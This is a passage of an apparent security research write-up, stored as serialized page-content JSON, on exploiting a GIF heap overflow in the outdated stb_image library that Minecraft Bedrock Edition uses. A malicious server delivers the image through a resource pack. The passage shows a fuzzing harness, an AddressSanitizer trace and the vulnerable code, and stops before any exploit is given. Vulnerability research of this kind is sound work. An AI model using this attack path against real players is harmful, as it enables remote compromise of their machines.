primitives.","2026-06-02T12:00:00.000Z",{"src":144692,"width":94800,"height":11111},"/posts/minecraft-heap-overflow-to-rce/title.png",[144694,144695],"minecraft","rce",{"type":20,"children":144697,"toc":154053},[144698,144703,144708,144713,144719,144724,144743,144748,144754,144759,144764,144770,144775,144780,144785,144791,144796,144801,144807,144827,144839,144846,144868,144882,144889,144895,144905,144925,144930,144936,144949,145294,145299,145307,145313,145332,145640,145668,145711,145723,145731,145736,146205,146224,146245,146587,146611,146883,146907,146934,147143,147162,147170,147189,147195,147257,147260,147282,147286,147291,147296,147302,147307,147321,147327,147341,147347,147360,147365,147373,147378,147384,147405,147413,147426,147429,147434,147448,147453,147458,147464,147469,147492,147497,147503,147508,147520,147532,147646,147666,147671,147676,147682,147687,147707,148322,148335,149409,149414,149422,149427,149433,149438,149446,149459,149464,149469,149476,149489,149494,149501,149556,149576,149583,149602,149609,149612,149617,149622,149628,149640,149653,149661,149732,149743,149777,149785,149790,149795,149801,149813,149832,149844,149849,149857,149876,149884,149903,149911,149937,149945,149950,149958,149963,149971,149974,149979,149984,149990,150003,150021,150059,150089,150097,150102,150108,150113,150118,150124,150136,150305,150317,150325,150330,150337,150342,150403,150450,150462,150467,150493,150567,150605,150610,150618,150639,150644,150670,150704,150757,150804,150810,150829,150861,150869,150972,151043,151049,151075,151082,151087,151094,151099,151340,151366,151371,151419,151424,151430,151462,151474,151506,151514,151553,151561,151566,151574,151579,151587,151599,151607,151619,151627,151639,151659,151665,151685,151702,151710,151722,151730,151749,151754,151762,151767,151775,151801,151812,151819,151824,151832,151837,151845,151850,151858,151863,151871,151876,151884,151889,151897,151938,151945,151950,151958,151963,151971,151976,151984,151989,151994,152002,152007,152015,152041,152049,152075,152083,152088,152096,152101,152109,152117,152122,152130,152135,152143,152146,152157,152191,152209,152217,152237,152243,152262,152320,152340,152348,152351,152390,152450,152455,152461,152474,152482,152534,152573,152581,152614,152617,152637,152645,152651,152656,152664,152704,152745,152765,152770,152775,152793,152799,152804,152823,152884,152892,152918,152924,152944,152949,152954,152961,153026,153031,153038,153059,153064,153076,153082,153115,153122,153127,153155,153162,153218,153230,153237,153298,153317,153323,153357,153378,153405,153413,153466,153536,153542,153562,153605,153610,154008,154014,154019,154030,154034,154039,154044,154049],{"type":23,"tag":32890,"props":144699,"children":144701},{"id":144700},"pwning-minecraft-4-byte-heap-overflow-to-rce",[144702],{"type":28,"value":144688},{"type":23,"tag":24,"props":144704,"children":144705},{},[144706],{"type":28,"value":144707},"In this post, we explore how we achieved remote code execution with a 4-byte heap overflow on a target with default modern protections - working around Windows' Control Flow Guard and ASLR on a remote client connecting to a malicious server, without any information leaks from the client.",{"type":23,"tag":24,"props":144709,"children":144710},{},[144711],{"type":28,"value":144712},"We present a powerful technique, specific to our target, which can be used to achieve RCE for bug types such as double frees, use-after-frees, and any heap overflow of at least 3 bytes.",{"type":23,"tag":31,"props":144714,"children":144716},{"id":144715},"the-target",[144717],{"type":28,"value":144718},"The Target",{"type":23,"tag":24,"props":144720,"children":144721},{},[144722],{"type":28,"value":144723},"Minecraft is one of the most popular games of all time, with millions of daily players and a large count of community servers actively played by thousands - this, and the lack of research in this area made it an intriguing target.",{"type":23,"tag":24,"props":144725,"children":144726},{},[144727,144729,144734,144736,144741],{"type":28,"value":144728},"There are two main editions: ",{"type":23,"tag":2875,"props":144730,"children":144731},{},[144732],{"type":28,"value":144733},"Minecraft Java Edition",{"type":28,"value":144735},", written in Java and available on desktop platforms (Windows, macOS, Linux), and ",{"type":23,"tag":2875,"props":144737,"children":144738},{},[144739],{"type":28,"value":144740},"Minecraft Bedrock Edition",{"type":28,"value":144742},", written largely in C++ and used on consoles like PlayStation and Xbox, mobile platforms, and also available on Windows.",{"type":23,"tag":24,"props":144744,"children":144745},{},[144746],{"type":28,"value":144747},"Given that we were interested in memory corruption bugs we chose the Bedrock Edition. Specifically, we decided to explore the Windows version as the debugging setup was the one we were most familiar with.",{"type":23,"tag":7092,"props":144749,"children":144751},{"id":144750},"choice-of-context",[144752],{"type":28,"value":144753},"Choice of Context",{"type":23,"tag":24,"props":144755,"children":144756},{},[144757],{"type":28,"value":144758},"We focused on a malicious-server -> connecting-client threat model because a server controls many inputs, giving a larger, easier-to-reach attack surface than client->client attacks.",{"type":23,"tag":24,"props":144760,"children":144761},{},[144762],{"type":28,"value":144763},"A server can control a large state which includes: the whole world and all entities within, each connected client state such as the position and view angles, and server-provided resource packs which connecting clients will download and parse.",{"type":23,"tag":7092,"props":144765,"children":144767},{"id":144766},"resource-packs",[144768],{"type":28,"value":144769},"Resource Packs",{"type":23,"tag":24,"props":144771,"children":144772},{},[144773],{"type":28,"value":144774},"Resource packs are a way to change the look of Minecraft. They specify custom textures and sounds of blocks and entities, while also controlling client-side entity animations.",{"type":23,"tag":24,"props":144776,"children":144777},{},[144778],{"type":28,"value":144779},"A server can provide a custom resource pack to the client upon connecting, which the client can optionally download and load. If the server set the resource pack to mandatory, clients that refuse the resource pack aren't allowed to connect.",{"type":23,"tag":24,"props":144781,"children":144782},{},[144783],{"type":28,"value":144784},"This widens the attack surface to include image and audio parsing - both historically common sources of memory-corruption bugs.",{"type":23,"tag":31,"props":144786,"children":144788},{"id":144787},"finding-a-memory-corruption-bug",[144789],{"type":28,"value":144790},"Finding a Memory Corruption Bug",{"type":23,"tag":24,"props":144792,"children":144793},{},[144794],{"type":28,"value":144795},"Given that Minecraft is a large, closed-source C++ codebase, we wanted to avoid unnecessary reverse engineering; therefore we first looked at the image-parsing code.",{"type":23,"tag":24,"props":144797,"children":144798},{},[144799],{"type":28,"value":144800},"Image parsing is interesting because programs rarely reimplement decoders, they typically use third-party libraries. We hoped Minecraft used an open-source library we could read, which is much easier than reversing a native decoder.",{"type":23,"tag":7092,"props":144802,"children":144804},{"id":144803},"locating-image-parsing-code",[144805],{"type":28,"value":144806},"Locating Image Parsing Code",{"type":23,"tag":24,"props":144808,"children":144809},{},[144810,144812,144818,144819,144825],{"type":28,"value":144811},"The simplest way to find code that handles image parsing is to search for expected strings such as ",{"type":23,"tag":64,"props":144813,"children":144815},{"className":144814},[],[144816],{"type":28,"value":144817},"PNG",{"type":28,"value":10621},{"type":23,"tag":64,"props":144820,"children":144822},{"className":144821},[],[144823],{"type":28,"value":144824},"GIF",{"type":28,"value":144826}," and look for error logging or other messages that use those substrings.",{"type":23,"tag":24,"props":144828,"children":144829},{},[144830,144832,144837],{"type":28,"value":144831},"Searching for the string ",{"type":23,"tag":64,"props":144833,"children":144835},{"className":144834},[],[144836],{"type":28,"value":144824},{"type":28,"value":144838}," returned some interesting results:",{"type":23,"tag":24,"props":144840,"children":144841},{},[144842],{"type":23,"tag":149,"props":144843,"children":144845},{"alt":48104,"src":144844},"/posts/minecraft-heap-overflow-to-rce/image1.png",[],{"type":23,"tag":24,"props":144847,"children":144848},{},[144849,144851,144858,144860,144867],{"type":28,"value":144850},"Most - if not all - of these results look like they are used by an image parser. We searched online for the strings and found they match the exact strings used in ",{"type":23,"tag":190,"props":144852,"children":144855},{"href":144853,"rel":144854},"https://github.com/nothings/stb/blob/fede005abaf93d9d7f3a679d1999b2db341b360f/stb_image.h",[194],[144856],{"type":28,"value":144857},"stb_image.h",{"type":28,"value":144859},". For an example: usage of ",{"type":23,"tag":190,"props":144861,"children":144864},{"href":144862,"rel":144863},"https://github.com/nothings/stb/blob/fede005abaf93d9d7f3a679d1999b2db341b360f/stb_image.h#L6855",[194],[144865],{"type":28,"value":144866},"bad Image Descriptor",{"type":28,"value":199},{"type":23,"tag":24,"props":144869,"children":144870},{},[144871,144873,144880],{"type":28,"value":144872},"To confirm that the library code was actually used to load images, we created a simple resource pack containing a single GIF image, set a breakpoint at ",{"type":23,"tag":190,"props":144874,"children":144877},{"href":144875,"rel":144876},"https://github.com/nothings/stb/blob/fede005abaf93d9d7f3a679d1999b2db341b360f/stb_image.h#L6778",[194],[144878],{"type":28,"value":144879},"stbi__gif_load_next",{"type":28,"value":144881},", and loaded the resource pack - this confirmed its usage:",{"type":23,"tag":24,"props":144883,"children":144884},{},[144885],{"type":23,"tag":149,"props":144886,"children":144888},{"alt":48104,"src":144887},"/posts/minecraft-heap-overflow-to-rce/image2.png",[],{"type":23,"tag":7092,"props":144890,"children":144892},{"id":144891},"stb-image-library",[144893],{"type":28,"value":144894},"STB Image Library",{"type":23,"tag":24,"props":144896,"children":144897},{},[144898,144903],{"type":23,"tag":64,"props":144899,"children":144901},{"className":144900},[],[144902],{"type":28,"value":144857},{"type":28,"value":144904}," had a number of memory corruption bugs historically, but the known ones were fixed in later revisions. Finding a new 0-day in this library looked relatively hard because it’s widely used and has been well-scrutinized at that point.",{"type":23,"tag":24,"props":144906,"children":144907},{},[144908,144910,144915,144917,144924],{"type":28,"value":144909},"Instead, we checked whether the version used by Minecraft was outdated - if so, previously reported bugs might apply. We inspected ",{"type":23,"tag":64,"props":144911,"children":144913},{"className":144912},[],[144914],{"type":28,"value":144857},{"type":28,"value":144916}," commits and checked whether those changes were present in the Minecraft executable. Eventually, we found that Minecraft was using a fairly old revision - some commit prior to ",{"type":23,"tag":190,"props":144918,"children":144921},{"href":144919,"rel":144920},"https://github.com/nothings/stb/commit/f1f077b2722f55e158cba020f0312ee2d13c463a",[194],[144922],{"type":28,"value":144923},"f1f077b2722f55e158cba020f0312ee2d13c463a",{"type":28,"value":199},{"type":23,"tag":24,"props":144926,"children":144927},{},[144928],{"type":28,"value":144929},"At the time, the commit was already 6 years old, while there were public reports for memory corruption bugs after it. We looked through the reported bugs but didn't find an interesting and applicable one, so we decided to run a simple fuzzing harness on this commit.",{"type":23,"tag":16388,"props":144931,"children":144933},{"id":144932},"fuzzing",[144934],{"type":28,"value":144935},"Fuzzing",{"type":23,"tag":24,"props":144937,"children":144938},{},[144939,144941,144948],{"type":28,"value":144940},"The fuzzer consisted of a very simple ",{"type":23,"tag":190,"props":144942,"children":144945},{"href":144943,"rel":144944},"https://github.com/AFLplusplus/AFLplusplus",[194],[144946],{"type":28,"value":144947},"AFL++",{"type":28,"value":24252},{"type":23,"tag":435,"props":144950,"children":144952},{"code":144951,"language":661,"meta":7,"className":14005,"style":7},"#define STB_IMAGE_IMPLEMENTATION\n#include \"./stb/stb_image.h\"\n\nint main(int argc, char **argv) {\n int x, y, comp;\n unsigned char *ret;\n\n if (argc != 2) {\n return 1;\n }\n\n ret = stbi_load(argv[1], &x, &y, &comp, 0);\n if (ret == NULL) {\n return 1;\n }\n \n stbi_image_free(ret);\n\n return 0;\n}\n",[144953],{"type":23,"tag":64,"props":144954,"children":144955},{"__ignoreMap":7},[144956,144969,144981,144988,145034,145046,145067,145074,145098,145113,145120,145127,145199,145223,145238,145245,145252,145265,145272,145287],{"type":23,"tag":481,"props":144957,"children":144958},{"class":483,"line":484},[144959,144964],{"type":23,"tag":481,"props":144960,"children":144961},{"style":535},[144962],{"type":28,"value":144963},"#define",{"type":23,"tag":481,"props":144965,"children":144966},{"style":610},[144967],{"type":28,"value":144968}," STB_IMAGE_IMPLEMENTATION\n",{"type":23,"tag":481,"props":144970,"children":144971},{"class":483,"line":351},[144972,144976],{"type":23,"tag":481,"props":144973,"children":144974},{"style":535},[144975],{"type":28,"value":87947},{"type":23,"tag":481,"props":144977,"children":144978},{"style":1805},[144979],{"type":28,"value":144980}," \"./stb/stb_image.h\"\n",{"type":23,"tag":481,"props":144982,"children":144983},{"class":483,"line":531},[144984],{"type":23,"tag":481,"props":144985,"children":144986},{"emptyLinePlaceholder":15},[144987],{"type":28,"value":1210},{"type":23,"tag":481,"props":144989,"children":144990},{"class":483,"line":567},[144991,144995,144999,145003,145007,145012,145016,145021,145025,145030],{"type":23,"tag":481,"props":144992,"children":144993},{"style":497},[144994],{"type":28,"value":16543},{"type":23,"tag":481,"props":144996,"children":144997},{"style":610},[144998],{"type":28,"value":88312},{"type":23,"tag":481,"props":145000,"children":145001},{"style":525},[145002],{"type":28,"value":618},{"type":23,"tag":481,"props":145004,"children":145005},{"style":497},[145006],{"type":28,"value":16543},{"type":23,"tag":481,"props":145008,"children":145009},{"style":508},[145010],{"type":28,"value":145011}," argc",{"type":23,"tag":481,"props":145013,"children":145014},{"style":525},[145015],{"type":28,"value":588},{"type":23,"tag":481,"props":145017,"children":145018},{"style":497},[145019],{"type":28,"value":145020},"char",{"type":23,"tag":481,"props":145022,"children":145023},{"style":514},[145024],{"type":28,"value":87413},{"type":23,"tag":481,"props":145026,"children":145027},{"style":508},[145028],{"type":28,"value":145029},"argv",{"type":23,"tag":481,"props":145031,"children":145032},{"style":525},[145033],{"type":28,"value":12292},{"type":23,"tag":481,"props":145035,"children":145036},{"class":483,"line":678},[145037,145041],{"type":23,"tag":481,"props":145038,"children":145039},{"style":497},[145040],{"type":28,"value":16573},{"type":23,"tag":481,"props":145042,"children":145043},{"style":525},[145044],{"type":28,"value":145045}," x, y, comp;\n",{"type":23,"tag":481,"props":145047,"children":145048},{"class":483,"line":784},[145049,145054,145058,145062],{"type":23,"tag":481,"props":145050,"children":145051},{"style":497},[145052],{"type":28,"value":145053}," unsigned",{"type":23,"tag":481,"props":145055,"children":145056},{"style":497},[145057],{"type":28,"value":56576},{"type":23,"tag":481,"props":145059,"children":145060},{"style":514},[145061],{"type":28,"value":7301},{"type":23,"tag":481,"props":145063,"children":145064},{"style":525},[145065],{"type":28,"value":145066},"ret;\n",{"type":23,"tag":481,"props":145068,"children":145069},{"class":483,"line":812},[145070],{"type":23,"tag":481,"props":145071,"children":145072},{"emptyLinePlaceholder":15},[145073],{"type":28,"value":1210},{"type":23,"tag":481,"props":145075,"children":145076},{"class":483,"line":825},[145077,145081,145086,145090,145094],{"type":23,"tag":481,"props":145078,"children":145079},{"style":535},[145080],{"type":28,"value":9766},{"type":23,"tag":481,"props":145082,"children":145083},{"style":525},[145084],{"type":28,"value":145085}," (argc ",{"type":23,"tag":481,"props":145087,"children":145088},{"style":514},[145089],{"type":28,"value":13178},{"type":23,"tag":481,"props":145091,"children":145092},{"style":551},[145093],{"type":28,"value":5413},{"type":23,"tag":481,"props":145095,"children":145096},{"style":525},[145097],{"type":28,"value":12292},{"type":23,"tag":481,"props":145099,"children":145100},{"class":483,"line":843},[145101,145105,145109],{"type":23,"tag":481,"props":145102,"children":145103},{"style":535},[145104],{"type":28,"value":13234},{"type":23,"tag":481,"props":145106,"children":145107},{"style":551},[145108],{"type":28,"value":2072},{"type":23,"tag":481,"props":145110,"children":145111},{"style":525},[145112],{"type":28,"value":528},{"type":23,"tag":481,"props":145114,"children":145115},{"class":483,"line":864},[145116],{"type":23,"tag":481,"props":145117,"children":145118},{"style":525},[145119],{"type":28,"value":879},{"type":23,"tag":481,"props":145121,"children":145122},{"class":483,"line":873},[145123],{"type":23,"tag":481,"props":145124,"children":145125},{"emptyLinePlaceholder":15},[145126],{"type":28,"value":1210},{"type":23,"tag":481,"props":145128,"children":145129},{"class":483,"line":1125},[145130,145135,145139,145144,145148,145152,145156,145160,145164,145168,145173,145177,145182,145186,145191,145195],{"type":23,"tag":481,"props":145131,"children":145132},{"style":525},[145133],{"type":28,"value":145134}," ret ",{"type":23,"tag":481,"props":145136,"children":145137},{"style":514},[145138],{"type":28,"value":603},{"type":23,"tag":481,"props":145140,"children":145141},{"style":610},[145142],{"type":28,"value":145143}," stbi_load",{"type":23,"tag":481,"props":145145,"children":145146},{"style":525},[145147],{"type":28,"value":618},{"type":23,"tag":481,"props":145149,"children":145150},{"style":508},[145151],{"type":28,"value":145029},{"type":23,"tag":481,"props":145153,"children":145154},{"style":525},[145155],{"type":28,"value":1269},{"type":23,"tag":481,"props":145157,"children":145158},{"style":551},[145159],{"type":28,"value":1558},{"type":23,"tag":481,"props":145161,"children":145162},{"style":525},[145163],{"type":28,"value":20559},{"type":23,"tag":481,"props":145165,"children":145166},{"style":514},[145167],{"type":28,"value":623},{"type":23,"tag":481,"props":145169,"children":145170},{"style":525},[145171],{"type":28,"value":145172},"x, ",{"type":23,"tag":481,"props":145174,"children":145175},{"style":514},[145176],{"type":28,"value":623},{"type":23,"tag":481,"props":145178,"children":145179},{"style":525},[145180],{"type":28,"value":145181},"y, ",{"type":23,"tag":481,"props":145183,"children":145184},{"style":514},[145185],{"type":28,"value":623},{"type":23,"tag":481,"props":145187,"children":145188},{"style":525},[145189],{"type":28,"value":145190},"comp, ",{"type":23,"tag":481,"props":145192,"children":145193},{"style":551},[145194],{"type":28,"value":1568},{"type":23,"tag":481,"props":145196,"children":145197},{"style":525},[145198],{"type":28,"value":1366},{"type":23,"tag":481,"props":145200,"children":145201},{"class":483,"line":1142},[145202,145206,145211,145215,145219],{"type":23,"tag":481,"props":145203,"children":145204},{"style":535},[145205],{"type":28,"value":9766},{"type":23,"tag":481,"props":145207,"children":145208},{"style":525},[145209],{"type":28,"value":145210}," (ret ",{"type":23,"tag":481,"props":145212,"children":145213},{"style":514},[145214],{"type":28,"value":6055},{"type":23,"tag":481,"props":145216,"children":145217},{"style":497},[145218],{"type":28,"value":125302},{"type":23,"tag":481,"props":145220,"children":145221},{"style":525},[145222],{"type":28,"value":12292},{"type":23,"tag":481,"props":145224,"children":145225},{"class":483,"line":1159},[145226,145230,145234],{"type":23,"tag":481,"props":145227,"children":145228},{"style":535},[145229],{"type":28,"value":13234},{"type":23,"tag":481,"props":145231,"children":145232},{"style":551},[145233],{"type":28,"value":2072},{"type":23,"tag":481,"props":145235,"children":145236},{"style":525},[145237],{"type":28,"value":528},{"type":23,"tag":481,"props":145239,"children":145240},{"class":483,"line":1172},[145241],{"type":23,"tag":481,"props":145242,"children":145243},{"style":525},[145244],{"type":28,"value":879},{"type":23,"tag":481,"props":145246,"children":145247},{"class":483,"line":1181},[145248],{"type":23,"tag":481,"props":145249,"children":145250},{"style":525},[145251],{"type":28,"value":59314},{"type":23,"tag":481,"props":145253,"children":145254},{"class":483,"line":1204},[145255,145260],{"type":23,"tag":481,"props":145256,"children":145257},{"style":610},[145258],{"type":28,"value":145259}," stbi_image_free",{"type":23,"tag":481,"props":145261,"children":145262},{"style":525},[145263],{"type":28,"value":145264},"(ret);\n",{"type":23,"tag":481,"props":145266,"children":145267},{"class":483,"line":1213},[145268],{"type":23,"tag":481,"props":145269,"children":145270},{"emptyLinePlaceholder":15},[145271],{"type":28,"value":1210},{"type":23,"tag":481,"props":145273,"children":145274},{"class":483,"line":1222},[145275,145279,145283],{"type":23,"tag":481,"props":145276,"children":145277},{"style":535},[145278],{"type":28,"value":14481},{"type":23,"tag":481,"props":145280,"children":145281},{"style":551},[145282],{"type":28,"value":554},{"type":23,"tag":481,"props":145284,"children":145285},{"style":525},[145286],{"type":28,"value":528},{"type":23,"tag":481,"props":145288,"children":145289},{"class":483,"line":1291},[145290],{"type":23,"tag":481,"props":145291,"children":145292},{"style":525},[145293],{"type":28,"value":1443},{"type":23,"tag":24,"props":145295,"children":145296},{},[145297],{"type":28,"value":145298},"And soon after starting the fuzzer it found an interesting bug:",{"type":23,"tag":435,"props":145300,"children":145302},{"code":145301},"=================================================================\n==1087247==ERROR: AddressSanitizer: heap-buffer-overflow on address ...\nWRITE of size 1 at 0x52d000008800 thread T0\n #0 0x655424309a49 in stbi__out_gif_code stb/stb_image.h:6233\n #1 0x655424309888 in stbi__out_gif_code stb/stb_image.h:6227\n #2 0x655424309888 in stbi__out_gif_code stb/stb_image.h:6227\n [...]\n #19 0x65542430a697 in stbi__process_gif_raster stb/stb_image.h:6326\n #20 0x65542430b936 in stbi__gif_load_next stb/stb_image.h:6443\n #21 0x65542430c90e in stbi__gif_load stb/stb_image.h:6573\n #22 0x6554242fc0d4 in stbi__load_main stb/stb_image.h:989\n #23 0x6554242fc927 in stbi__load_and_postprocess_8bit stb/stb_image.h:1088\n #24 0x6554242fd34f in stbi_load_from_file stb/stb_image.h:1174\n #25 0x6554242fd22c in stbi_load stb/stb_image.h:1164\n [...]\n",[145303],{"type":23,"tag":64,"props":145304,"children":145305},{"__ignoreMap":7},[145306],{"type":28,"value":145301},{"type":23,"tag":16388,"props":145308,"children":145310},{"id":145309},"investigating-the-finding",[145311],{"type":28,"value":145312},"Investigating the Finding",{"type":23,"tag":24,"props":145314,"children":145315},{},[145316,145318,145324,145325,145330],{"type":28,"value":145317},"The ASAN output shows that at line ",{"type":23,"tag":64,"props":145319,"children":145321},{"className":145320},[],[145322],{"type":28,"value":145323},"6233",{"type":28,"value":140824},{"type":23,"tag":64,"props":145326,"children":145328},{"className":145327},[],[145329],{"type":28,"value":144857},{"type":28,"value":145331}," an attempt was made to write a single byte out-of-bounds. Looking at the nearby source:",{"type":23,"tag":435,"props":145333,"children":145335},{"code":145334,"language":661,"meta":7,"className":14005,"style":7},"static void stbi__out_gif_code(stbi__gif *g, stbi__uint16 code)\n{\n stbi_uc *p, *c;\n int idx; \n\n [...]\n\n if (g->cur_y >= g->max_y) return;\n\n idx = g->cur_x + g->cur_y; \n p = &g->out[idx];\n g->history[idx / 4] = 1; // OOB write\n",[145336],{"type":23,"tag":64,"props":145337,"children":145338},{"__ignoreMap":7},[145339,145381,145388,145414,145427,145434,145442,145449,145503,145510,145556,145589],{"type":23,"tag":481,"props":145340,"children":145341},{"class":483,"line":484},[145342,145346,145350,145355,145360,145364,145368,145373,145377],{"type":23,"tag":481,"props":145343,"children":145344},{"style":497},[145345],{"type":28,"value":48570},{"type":23,"tag":481,"props":145347,"children":145348},{"style":497},[145349],{"type":28,"value":48575},{"type":23,"tag":481,"props":145351,"children":145352},{"style":610},[145353],{"type":28,"value":145354}," stbi__out_gif_code",{"type":23,"tag":481,"props":145356,"children":145357},{"style":525},[145358],{"type":28,"value":145359},"(stbi__gif ",{"type":23,"tag":481,"props":145361,"children":145362},{"style":514},[145363],{"type":28,"value":2120},{"type":23,"tag":481,"props":145365,"children":145366},{"style":508},[145367],{"type":28,"value":106830},{"type":23,"tag":481,"props":145369,"children":145370},{"style":525},[145371],{"type":28,"value":145372},", stbi__uint16 ",{"type":23,"tag":481,"props":145374,"children":145375},{"style":508},[145376],{"type":28,"value":64},{"type":23,"tag":481,"props":145378,"children":145379},{"style":525},[145380],{"type":28,"value":675},{"type":23,"tag":481,"props":145382,"children":145383},{"class":483,"line":351},[145384],{"type":23,"tag":481,"props":145385,"children":145386},{"style":525},[145387],{"type":28,"value":8366},{"type":23,"tag":481,"props":145389,"children":145390},{"class":483,"line":531},[145391,145396,145400,145405,145409],{"type":23,"tag":481,"props":145392,"children":145393},{"style":525},[145394],{"type":28,"value":145395}," stbi_uc ",{"type":23,"tag":481,"props":145397,"children":145398},{"style":514},[145399],{"type":28,"value":2120},{"type":23,"tag":481,"props":145401,"children":145402},{"style":525},[145403],{"type":28,"value":145404},"p, ",{"type":23,"tag":481,"props":145406,"children":145407},{"style":514},[145408],{"type":28,"value":2120},{"type":23,"tag":481,"props":145410,"children":145411},{"style":525},[145412],{"type":28,"value":145413},"c;\n",{"type":23,"tag":481,"props":145415,"children":145416},{"class":483,"line":567},[145417,145422],{"type":23,"tag":481,"props":145418,"children":145419},{"style":497},[145420],{"type":28,"value":145421}," int",{"type":23,"tag":481,"props":145423,"children":145424},{"style":525},[145425],{"type":28,"value":145426}," idx; \n",{"type":23,"tag":481,"props":145428,"children":145429},{"class":483,"line":678},[145430],{"type":23,"tag":481,"props":145431,"children":145432},{"emptyLinePlaceholder":15},[145433],{"type":28,"value":1210},{"type":23,"tag":481,"props":145435,"children":145436},{"class":483,"line":784},[145437],{"type":23,"tag":481,"props":145438,"children":145439},{"style":525},[145440],{"type":28,"value":145441}," [...]\n",{"type":23,"tag":481,"props":145443,"children":145444},{"class":483,"line":812},[145445],{"type":23,"tag":481,"props":145446,"children":145447},{"emptyLinePlaceholder":15},[145448],{"type":28,"value":1210},{"type":23,"tag":481,"props":145450,"children":145451},{"class":483,"line":825},[145452,145456,145460,145464,145468,145473,145477,145482,145486,145491,145495,145499],{"type":23,"tag":481,"props":145453,"children":145454},{"style":535},[145455],{"type":28,"value":50170},{"type":23,"tag":481,"props":145457,"children":145458},{"style":525},[145459],{"type":28,"value":578},{"type":23,"tag":481,"props":145461,"children":145462},{"style":508},[145463],{"type":28,"value":106830},{"type":23,"tag":481,"props":145465,"children":145466},{"style":525},[145467],{"type":28,"value":11245},{"type":23,"tag":481,"props":145469,"children":145470},{"style":508},[145471],{"type":28,"value":145472},"cur_y",{"type":23,"tag":481,"props":145474,"children":145475},{"style":514},[145476],{"type":28,"value":5781},{"type":23,"tag":481,"props":145478,"children":145479},{"style":508},[145480],{"type":28,"value":145481}," g",{"type":23,"tag":481,"props":145483,"children":145484},{"style":525},[145485],{"type":28,"value":11245},{"type":23,"tag":481,"props":145487,"children":145488},{"style":508},[145489],{"type":28,"value":145490},"max_y",{"type":23,"tag":481,"props":145492,"children":145493},{"style":525},[145494],{"type":28,"value":598},{"type":23,"tag":481,"props":145496,"children":145497},{"style":535},[145498],{"type":28,"value":45982},{"type":23,"tag":481,"props":145500,"children":145501},{"style":525},[145502],{"type":28,"value":528},{"type":23,"tag":481,"props":145504,"children":145505},{"class":483,"line":843},[145506],{"type":23,"tag":481,"props":145507,"children":145508},{"emptyLinePlaceholder":15},[145509],{"type":28,"value":1210},{"type":23,"tag":481,"props":145511,"children":145512},{"class":483,"line":864},[145513,145518,145522,145526,145530,145535,145539,145543,145547,145551],{"type":23,"tag":481,"props":145514,"children":145515},{"style":525},[145516],{"type":28,"value":145517}," idx ",{"type":23,"tag":481,"props":145519,"children":145520},{"style":514},[145521],{"type":28,"value":603},{"type":23,"tag":481,"props":145523,"children":145524},{"style":508},[145525],{"type":28,"value":145481},{"type":23,"tag":481,"props":145527,"children":145528},{"style":525},[145529],{"type":28,"value":11245},{"type":23,"tag":481,"props":145531,"children":145532},{"style":508},[145533],{"type":28,"value":145534},"cur_x",{"type":23,"tag":481,"props":145536,"children":145537},{"style":514},[145538],{"type":28,"value":6385},{"type":23,"tag":481,"props":145540,"children":145541},{"style":508},[145542],{"type":28,"value":145481},{"type":23,"tag":481,"props":145544,"children":145545},{"style":525},[145546],{"type":28,"value":11245},{"type":23,"tag":481,"props":145548,"children":145549},{"style":508},[145550],{"type":28,"value":145472},{"type":23,"tag":481,"props":145552,"children":145553},{"style":525},[145554],{"type":28,"value":145555},"; \n",{"type":23,"tag":481,"props":145557,"children":145558},{"class":483,"line":873},[145559,145564,145568,145572,145576,145580,145584],{"type":23,"tag":481,"props":145560,"children":145561},{"style":525},[145562],{"type":28,"value":145563}," p ",{"type":23,"tag":481,"props":145565,"children":145566},{"style":514},[145567],{"type":28,"value":603},{"type":23,"tag":481,"props":145569,"children":145570},{"style":514},[145571],{"type":28,"value":4619},{"type":23,"tag":481,"props":145573,"children":145574},{"style":508},[145575],{"type":28,"value":106830},{"type":23,"tag":481,"props":145577,"children":145578},{"style":525},[145579],{"type":28,"value":11245},{"type":23,"tag":481,"props":145581,"children":145582},{"style":508},[145583],{"type":28,"value":116253},{"type":23,"tag":481,"props":145585,"children":145586},{"style":525},[145587],{"type":28,"value":145588},"[idx];\n",{"type":23,"tag":481,"props":145590,"children":145591},{"class":483,"line":1125},[145592,145597,145601,145606,145611,145615,145619,145623,145627,145631,145635],{"type":23,"tag":481,"props":145593,"children":145594},{"style":508},[145595],{"type":28,"value":145596}," g",{"type":23,"tag":481,"props":145598,"children":145599},{"style":525},[145600],{"type":28,"value":11245},{"type":23,"tag":481,"props":145602,"children":145603},{"style":508},[145604],{"type":28,"value":145605},"history",{"type":23,"tag":481,"props":145607,"children":145608},{"style":525},[145609],{"type":28,"value":145610},"[idx ",{"type":23,"tag":481,"props":145612,"children":145613},{"style":514},[145614],{"type":28,"value":2130},{"type":23,"tag":481,"props":145616,"children":145617},{"style":551},[145618],{"type":28,"value":9232},{"type":23,"tag":481,"props":145620,"children":145621},{"style":525},[145622],{"type":28,"value":6141},{"type":23,"tag":481,"props":145624,"children":145625},{"style":514},[145626],{"type":28,"value":603},{"type":23,"tag":481,"props":145628,"children":145629},{"style":551},[145630],{"type":28,"value":2072},{"type":23,"tag":481,"props":145632,"children":145633},{"style":525},[145634],{"type":28,"value":46599},{"type":23,"tag":481,"props":145636,"children":145637},{"style":488},[145638],{"type":28,"value":145639}," // OOB write\n",{"type":23,"tag":24,"props":145641,"children":145642},{},[145643,145645,145650,145652,145658,145660,145666],{"type":28,"value":145644},"It’s reasonable to assume ",{"type":23,"tag":64,"props":145646,"children":145648},{"className":145647},[],[145649],{"type":28,"value":74049},{"type":28,"value":145651}," is outside the bounds of ",{"type":23,"tag":64,"props":145653,"children":145655},{"className":145654},[],[145656],{"type":28,"value":145657},"g->history",{"type":28,"value":145659},", which leads to a one-byte OOB write (",{"type":23,"tag":64,"props":145661,"children":145663},{"className":145662},[],[145664],{"type":28,"value":145665},"g->history[idx / 4] = 1",{"type":28,"value":145667},"). That single-byte OOB is hard to exploit remotely, but it was the only corruption observed initially, so we investigated further.",{"type":23,"tag":24,"props":145669,"children":145670},{},[145671,145673,145678,145680,145686,145688,145693,145695,145701,145703,145709],{"type":28,"value":145672},"Because ",{"type":23,"tag":64,"props":145674,"children":145676},{"className":145675},[],[145677],{"type":28,"value":24},{"type":28,"value":145679}," is computed from ",{"type":23,"tag":64,"props":145681,"children":145683},{"className":145682},[],[145684],{"type":28,"value":145685},"g->out[idx]",{"type":28,"value":145687}," immediately before the violation, we considered whether ",{"type":23,"tag":64,"props":145689,"children":145691},{"className":145690},[],[145692],{"type":28,"value":74049},{"type":28,"value":145694}," could also be OOB for ",{"type":23,"tag":64,"props":145696,"children":145698},{"className":145697},[],[145699],{"type":28,"value":145700},"g->out",{"type":28,"value":145702},". Note that computing the address 